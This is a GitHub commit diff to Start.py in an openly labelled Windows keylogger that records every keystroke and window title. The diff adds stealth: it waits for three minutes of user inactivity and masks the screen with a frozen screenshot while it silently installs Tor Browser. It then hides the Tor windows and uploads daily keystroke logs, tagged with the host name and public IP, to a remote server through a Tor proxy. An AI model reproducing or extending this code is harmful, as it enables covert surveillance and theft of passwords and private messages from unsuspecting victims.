Skip to content

Commit 419f7f2

Browse files
if a user is inactive, do install
1 parent 8609548 commit 419f7f2

File tree

1 file changed

+113
-43
lines changed

1 file changed

+113
-43
lines changed

Start.py

Lines changed: 113 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -32,9 +32,10 @@ def hide():
3232
if mode != "debug":
3333
hide()
3434

35-
36-
import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
37-
import psutil
35+
from keyboard import is_pressed, hook, wait, get_hotkey_name
36+
# for keyboard hooks. See docs https://github.com/boppreh/keyboard
37+
from psutil import pids as psutil_pids, Process as psutil_Process
38+
import signal
3839
from ctypes import WinDLL # for getting window titles, current keyboard layout and capslock state
3940
import urllib.request
4041
import datetime # for getting the current time and using timedelta
@@ -43,18 +44,18 @@ def hide():
4344
import Cryptodome.Util
4445
from Cryptodome.Hash import SHA3_512
4546
import base64
46-
import hashlib # for hashing the names of files
47-
import multiprocessing
48-
import threading
49-
from subprocess import run as subprocess_run
50-
import requests
47+
from hashlib import md5 as hashlib_md5 # for hashing the names of files
48+
from multiprocessing import Process as multiprocessing_Process
49+
from threading import Thread as threading_Thread
50+
from requests import get as requests_get, post as requests_post, exceptions as requests_exceptions
5151
import socks
52-
import socket
52+
from socket import getfqdn as socket_getfqdn
5353
from random import choice, shuffle
5454
from pywinauto.application import Application
5555
import pywinauto.timings
5656
import tkinter as tk
5757
from PIL import Image, ImageGrab, ImageTk
58+
import numpy as np
5859
import re
5960
import time
6061

@@ -342,50 +343,99 @@ def check_if_tor_browser_is_installed():
342343

343344

344345
def show_screenshot():
346+
tk.Tk().withdraw()
345347
root = tk.Toplevel()
346348
w, h = root.winfo_screenwidth(), root.winfo_screenheight()
347349
root.overrideredirect(1)
348350
root.geometry("%dx%d+0+0" % (w, h))
349351
root.focus_set()
350352
root.bind("<Escape>", lambda e: (e.widget.withdraw(), e.widget.quit()))
351353
canvas = tk.Canvas(root, width=w, height=h)
352-
canvas.pack()
354+
canvas.pack(in_=root)
353355
canvas.configure(background='black')
354356
screenshot = ImageGrab.grab()
355357
ph = ImageTk.PhotoImage(screenshot)
356358
canvas.create_image(w/2, h/2, image=ph)
359+
root.wm_attributes("-topmost", 1)
357360
root.mainloop()
358361
return
359362

360363

364+
def count_image_diff(img1, img2):
365+
s = 0
366+
if img1.getbands() != img2.getbands():
367+
return -1
368+
for band_index, band in enumerate(img1.getbands()):
369+
m1 = np.array([p[band_index] for p in img1.getdata()]).reshape(*img1.size)
370+
m2 = np.array([p[band_index] for p in img2.getdata()]).reshape(*img2.size)
371+
s += np.sum(np.abs(m1 - m2))
372+
return s
373+
374+
375+
def has_screen_changed(screenshot_1):
376+
screenshot_2 = ImageGrab.grab()
377+
diff = count_image_diff(screenshot_1, screenshot_2)
378+
if diff < 1000000: # a change significant enough
379+
return False, screenshot_2
380+
else:
381+
return True, screenshot_2
382+
383+
384+
def detect_user_inactivity():
385+
# Detect user inactivity by detecting screen change + mouse movement + key press
386+
seconds_inactive = 0
387+
screenshot_1 = ImageGrab.grab()
388+
mouse_saved_pos = win32api.GetCursorPos()
389+
keys_saved_pressed = get_hotkey_name()
390+
sleep = 20 # seconds
391+
while seconds_inactive < 180: # 3 minutes of mouse + keyboard + screen inactivity
392+
screen_changed, screen_pic = has_screen_changed(screenshot_1)
393+
mouse_pos, keys_pressed = win32api.GetCursorPos(), get_hotkey_name()
394+
if screen_changed or mouse_saved_pos != mouse_pos or keys_saved_pressed != keys_pressed:
395+
mouse_saved_pos, keys_saved_pressed = mouse_pos, keys_pressed
396+
seconds_inactive = 0
397+
else:
398+
seconds_inactive += sleep
399+
time.sleep(sleep)
400+
return
401+
402+
361403
def install_tor_browser():
362404
if not os.name == "nt":
363405
return # TODO: Linux, MacOS
364406
# 1. Download the installer
365407
try:
366-
r = requests.get("http://www.torproject.org/download/")
408+
r = requests_get("http://www.torproject.org/download/")
367409
if r.status_code == 200:
368410
tor_windows_url = r.text.split(".exe")[0].split("href=\"")[-1] + ".exe"
369411
else:
370412
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
371-
except requests.exceptions.ConnectionError:
413+
except requests_exceptions.ConnectionError:
372414
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
373415
try:
374-
tor_installer = requests.get(tor_windows_url)
375-
except requests.exceptions.ConnectionError:
416+
tor_installer = requests_get(tor_windows_url)
417+
except requests_exceptions.ConnectionError:
376418
return
377419
installer_path = os.path.join(dir_path, tor_windows_url.split("/")[-1])
378-
open(installer_path, 'wb').write(tor_installer.content)
420+
try: open(installer_path, 'wb').write(tor_installer.content)
421+
except: return
379422
# 2. Install
380423
installation_dir = os.path.join(dir_path, "Tor_Browser")
381-
os.remove(installation_dir)
424+
if os.path.exists(installation_dir):
425+
try: os.remove(installation_dir)
426+
except: return
427+
428+
detect_user_inactivity()
382429

383-
screenshot_process = multiprocessing.Process(target=show_screenshot, args=())
430+
screenshot_process = multiprocessing_Process(target=show_screenshot, args=())
384431
screenshot_process.start()
385432

433+
time.sleep(5)
434+
386435
try:
387436
app = Application(backend="win32").start(installer_path)
388437
except:
438+
screenshot_process.terminate()
389439
return
390440
try:
391441
app.Dialog.OK.wait('ready', timeout=30)
@@ -403,32 +453,37 @@ def install_tor_browser():
403453
pass
404454
except pywinauto.timings.TimeoutError:
405455
app.kill()
456+
screenshot_process.terminate()
457+
return
406458
try:
407-
app.InstallDialog.CheckBox.wait('ready', timeout=30).uncheck()
408-
app.InstallDialog.CheckBox2.wait('ready', timeout=30).uncheck()
459+
app.InstallDialog.CheckBox.wait('ready', timeout=120).uncheck()
460+
app.InstallDialog.CheckBox2.wait('ready', timeout=120).uncheck()
409461
app.InstallDialog.FinishButton.wait('ready', timeout=30).click()
410462
except pywinauto.timings.TimeoutError:
411463
app.kill()
464+
screenshot_process.terminate()
465+
return
412466

413467
screenshot_process.terminate()
414468

415469
# 3. Remove the installer
416470
os.remove(installer_path)
417-
return tor_installation_dir
471+
472+
return installation_dir
418473

419474

420475
def is_tor_browser_already_open(program_path):
421-
for pid in psutil.pids(): # Iterates over all process-ID's found by psutil
476+
for pid in psutil_pids(): # Iterates over all process-ID's found by psutil
422477
try:
423-
p = psutil.Process(pid) # Requests the process information corresponding to each process-ID,
424-
# the output wil look (for example) like this: <psutil.Process(pid=5269, name='Python') at 4320652312>
478+
p = psutil_Process(pid) # Requests the process information corresponding to each process-ID,
479+
# the output wil look (for example) like this: <psutil_Process(pid=5269, name='Python') at 4320652312>
425480
if program_path in p.exe(): # checks if the value of the program-variable
426481
# that was used to call the function matches the name field of the plutil.Process(pid)
427482
# output (see one line above).
428-
return True, p.exe()
483+
return pid, p.exe()
429484
except:
430485
continue
431-
return False, None
486+
return None, None
432487

433488

434489
def find_top_windows(wanted_text=None, wanted_class=None, selection_function=None):
@@ -456,6 +511,12 @@ def _normalise_text(control_text):
456511
Useful for matching control text """
457512
return control_text.lower().replace('&', '')
458513

514+
def _windowEnumerationHandler(hwnd, resultList):
515+
'''Pass to win32gui.EnumWindows() to generate list of window handle,
516+
window text, window class tuples.'''
517+
resultList.append((hwnd,
518+
win32gui.GetWindowText(hwnd),
519+
win32gui.GetClassName(hwnd)))
459520
results = []
460521
top_windows = []
461522
win32gui.EnumWindows(_windowEnumerationHandler, top_windows)
@@ -470,17 +531,25 @@ def _normalise_text(control_text):
470531
return results
471532

472533

473-
def open_tor_browser(installation_dir):
534+
def open_tor_browser(tor_installation_dir):
474535
user32 = WinDLL('user32')
475-
os.startfile(os.path.join(os.path.split(os.path.split(installation_dir)[0])[0], "Start Tor Browser.lnk"))
536+
os.startfile(os.path.join(tor_installation_dir, "Start Tor Browser.lnk"))
476537
start_time = time.time()
477-
while time.time() - start_time < 60:
538+
check_1 = check_2 = False
539+
while time.time() - start_time < 5:
478540
hwnd_1 = find_top_windows(wanted_text="Establishing a Connection", wanted_class='MozillaDialogClass')
479541
hwnd_2 = find_top_windows(wanted_text="About Tor", wanted_class='MozillaWindowClass')
480542
if len(hwnd_1) == 1:
481543
user32.ShowWindow(hwnd_1[0], 0)
544+
check_1 = True
482545
if len(hwnd_2) == 1:
483546
user32.ShowWindow(hwnd_2[0], 0)
547+
check_2 = True
548+
break
549+
if not (check_1 and check_2):
550+
pid, _ = is_tor_browser_already_open(program_path='Tor Browser\\Browser\\firefox.exe')
551+
if pid:
552+
os.kill(pid, 9)
484553

485554

486555
def find_the_previous_log_and_send():
@@ -491,20 +560,21 @@ def find_the_previous_log_and_send():
491560
delta = 1
492561
while delta <= 366:
493562
previous_date = (datetime.date.today() - timedelta(days=delta)).strftime('%Y-%b-%d')
494-
previous_date_hashed = hashlib.md5(bytes(previous_date, 'utf-8')).hexdigest()
563+
previous_date_hashed = hashlib_md5(bytes(previous_date, 'utf-8')).hexdigest()
495564
if os.path.exists(previous_date_hashed + ".txt"):
496565
found_filenames.append(previous_date_hashed + ".txt")
497566
delta += 1
498567
# check if TOR is opened/installed
499-
is_tor_open, tor_installation_dir = is_tor_browser_already_open(program_path='Tor Browser\\Browser\\firefox.exe')
568+
open_tor_pid, tor_installation_dir = is_tor_browser_already_open(program_path='Tor Browser\\Browser\\firefox.exe')
500569
if not tor_installation_dir:
501570
tor_installation_dir = check_if_tor_browser_is_installed()
502571
# if not tor_installation_dir:
503-
tor_installation_dir = install_tor_browser()
572+
tor_installation_dir = install_tor_browser() # add indent
573+
tor_installation_dir = os.path.split(os.path.split(tor_installation_dir)[0])[0] # add indent
504574
if not tor_installation_dir:
505575
return True # ONE DOES NOT SIMPLY USE CLEARNET.
506576
else: # USE DARKNET ONLY
507-
if not is_tor_open:
577+
if not open_tor_pid:
508578
open_tor_browser(tor_installation_dir)
509579
for found_filename in found_filenames:
510580
# Now that we found the old log files (found_filename), send them to our server.
@@ -518,18 +588,18 @@ def find_the_previous_log_and_send():
518588
counter = 0
519589
while counter < 5:
520590
try:
521-
r = requests.get(server_parser_list[counter][0])
591+
r = requests_get(server_parser_list[counter][0])
522592
if r.status_code == 200:
523593
ip = eval(server_parser_list[counter][1])
524594
break
525-
except requests.exceptions.ConnectionError:
595+
except requests_exceptions.ConnectionError:
526596
pass
527597
counter += 1
528-
new_found_filename = str(socket.getfqdn()) + ("_" if ip != "" else "") + ip + "_" + found_filename
598+
new_found_filename = str(socket_getfqdn()) + ("_" if ip != "" else "") + ip + "_" + found_filename
529599
os.rename(found_filename, new_found_filename) # rename the file to avoid async errors
530-
sent_status_code = requests.get(url_server_check_connection, proxies=proxies).status_code
600+
sent_status_code = requests_get(url_server_check_connection, proxies=proxies).status_code
531601
if sent_status_code == 200: # send logs
532-
uploaded_status = requests.post(url_server_upload,
602+
uploaded_status = requests_post(url_server_upload,
533603
proxies=proxies,
534604
data=open(new_found_filename, "rb").read()).status_code
535605
if uploaded_status == 200:
@@ -542,12 +612,12 @@ def log_local():
542612
global dir_path, line_buffer, backspace_buffer_len, window_name, time_logged
543613
todays_date = datetime.datetime.now().strftime('%Y-%b-%d')
544614
# md5 only for masking dates - it's easily crackable for us:
545-
todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest()
615+
todays_date_hashed = hashlib_md5(bytes(todays_date, 'utf-8')).hexdigest()
546616
# We need to check if it is a new day, if so, send the old log to the server.
547617
if not os.path.exists(todays_date_hashed + ".txt"): # a new day, a new life...
548618
if mode == "remote":
549619
# Evaluate find_the_previous_log_and_send asynchronously
550-
thr = threading.Thread(target=find_the_previous_log_and_send, args=(), kwargs={})
620+
thr = threading_Thread(target=find_the_previous_log_and_send, args=(), kwargs={})
551621
thr.start()
552622
# thr.is_alive() # check if it is alive
553623
# thr.join()
@@ -630,9 +700,9 @@ def key_callback(event):
630700
# 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT
631701
if event.name in ['left', 'right']: # arrow keys # 'home', 'end', 'up', 'down'
632702
key_pressed_list = list()
633-
if keyboard.is_pressed('ctrl') or keyboard.is_pressed('right ctrl'):
703+
if is_pressed('ctrl') or is_pressed('right ctrl'):
634704
key_pressed_list.append('ctrl')
635-
if keyboard.is_pressed('shift') or keyboard.is_pressed('right shift'):
705+
if is_pressed('shift') or is_pressed('right shift'):
636706
key_pressed_list.append('shift')
637707
key_pressed = '<' + '+'.join(key_pressed_list) + (
638708
'+' if len(key_pressed_list) > 0 else '') + event.name + '>'
@@ -693,8 +763,8 @@ def key_callback(event):
693763

694764
def main():
695765
# KEYLOGGER STARTS
696-
keyboard.hook(key_callback)
697-
keyboard.wait()
766+
hook(key_callback)
767+
wait()
698768
return
699769

700770

0 commit comments

Comments
 (0)